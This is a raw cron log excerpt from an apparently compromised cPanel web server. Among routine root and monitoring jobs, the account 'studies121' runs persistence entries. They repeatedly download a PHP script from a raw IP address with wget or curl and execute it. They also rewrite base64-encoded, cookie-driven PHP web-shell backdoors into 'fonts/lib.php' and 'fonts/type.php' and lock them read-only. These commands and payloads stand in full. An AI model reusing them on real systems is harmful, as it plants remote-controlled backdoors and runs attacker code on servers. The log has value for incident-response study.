Sep  5 10:58:01 ip-184-168-122-23 CROND[31260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:59:01 ip-184-168-122-23 CROND[31428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:59:01 ip-184-168-122-23 CROND[31430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:59:01 ip-184-168-122-23 CROND[31431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:59:01 ip-184-168-122-23 CROND[31432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:00:01 ip-184-168-122-23 CROND[31540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:00:01 ip-184-168-122-23 CROND[31542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:00:01 ip-184-168-122-23 CROND[31544]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:00:01 ip-184-168-122-23 CROND[31545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:00:01 ip-184-168-122-23 CROND[31546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:00:01 ip-184-168-122-23 CROND[31547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:00:01 ip-184-168-122-23 CROND[31548]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:00:01 ip-184-168-122-23 CROND[31552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:01:02 ip-184-168-122-23 CROND[31695]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 11:01:02 ip-184-168-122-23 CROND[31694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:01:02 ip-184-168-122-23 CROND[31696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:01:02 ip-184-168-122-23 CROND[31698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:01:02 ip-184-168-122-23 CROND[31699]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 11:01:02 ip-184-168-122-23 CROND[31700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31695]: starting 0anacron
Sep  5 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31716]: finished 0anacron
Sep  5 11:02:01 ip-184-168-122-23 CROND[31851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:02:01 ip-184-168-122-23 CROND[31854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:02:01 ip-184-168-122-23 CROND[31856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:02:01 ip-184-168-122-23 CROND[31855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:02:01 ip-184-168-122-23 CROND[31857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:03:01 ip-184-168-122-23 CROND[32191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:03:01 ip-184-168-122-23 CROND[32192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:03:01 ip-184-168-122-23 CROND[32193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:03:01 ip-184-168-122-23 CROND[32194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:04:01 ip-184-168-122-23 CROND[32332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:04:01 ip-184-168-122-23 CROND[32334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:04:01 ip-184-168-122-23 CROND[32335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:04:01 ip-184-168-122-23 CROND[32336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:04:01 ip-184-168-122-23 CROND[32337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:05:01 ip-184-168-122-23 CROND[32508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:05:01 ip-184-168-122-23 CROND[32510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:05:01 ip-184-168-122-23 CROND[32511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:05:01 ip-184-168-122-23 CROND[32513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:05:01 ip-184-168-122-23 CROND[32515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:05:01 ip-184-168-122-23 CROND[32514]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 11:05:01 ip-184-168-122-23 CROND[32512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:06:01 ip-184-168-122-23 CROND[32671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:06:01 ip-184-168-122-23 CROND[32673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:06:01 ip-184-168-122-23 CROND[32674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:06:01 ip-184-168-122-23 CROND[32672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:06:01 ip-184-168-122-23 CROND[32670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:07:01 ip-184-168-122-23 CROND[374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:07:01 ip-184-168-122-23 CROND[376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:07:01 ip-184-168-122-23 CROND[377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:07:01 ip-184-168-122-23 CROND[375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:08:01 ip-184-168-122-23 CROND[638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:08:01 ip-184-168-122-23 CROND[643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:08:01 ip-184-168-122-23 CROND[641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:08:01 ip-184-168-122-23 CROND[642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:08:01 ip-184-168-122-23 CROND[640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:09:01 ip-184-168-122-23 CROND[797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:09:01 ip-184-168-122-23 CROND[799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:09:01 ip-184-168-122-23 CROND[802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:09:01 ip-184-168-122-23 CROND[800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:09:01 ip-184-168-122-23 CROND[801]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 11:10:01 ip-184-168-122-23 CROND[975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:10:01 ip-184-168-122-23 CROND[978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:10:01 ip-184-168-122-23 CROND[981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:10:01 ip-184-168-122-23 CROND[979]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:10:01 ip-184-168-122-23 CROND[976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:10:01 ip-184-168-122-23 CROND[982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:10:01 ip-184-168-122-23 CROND[980]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
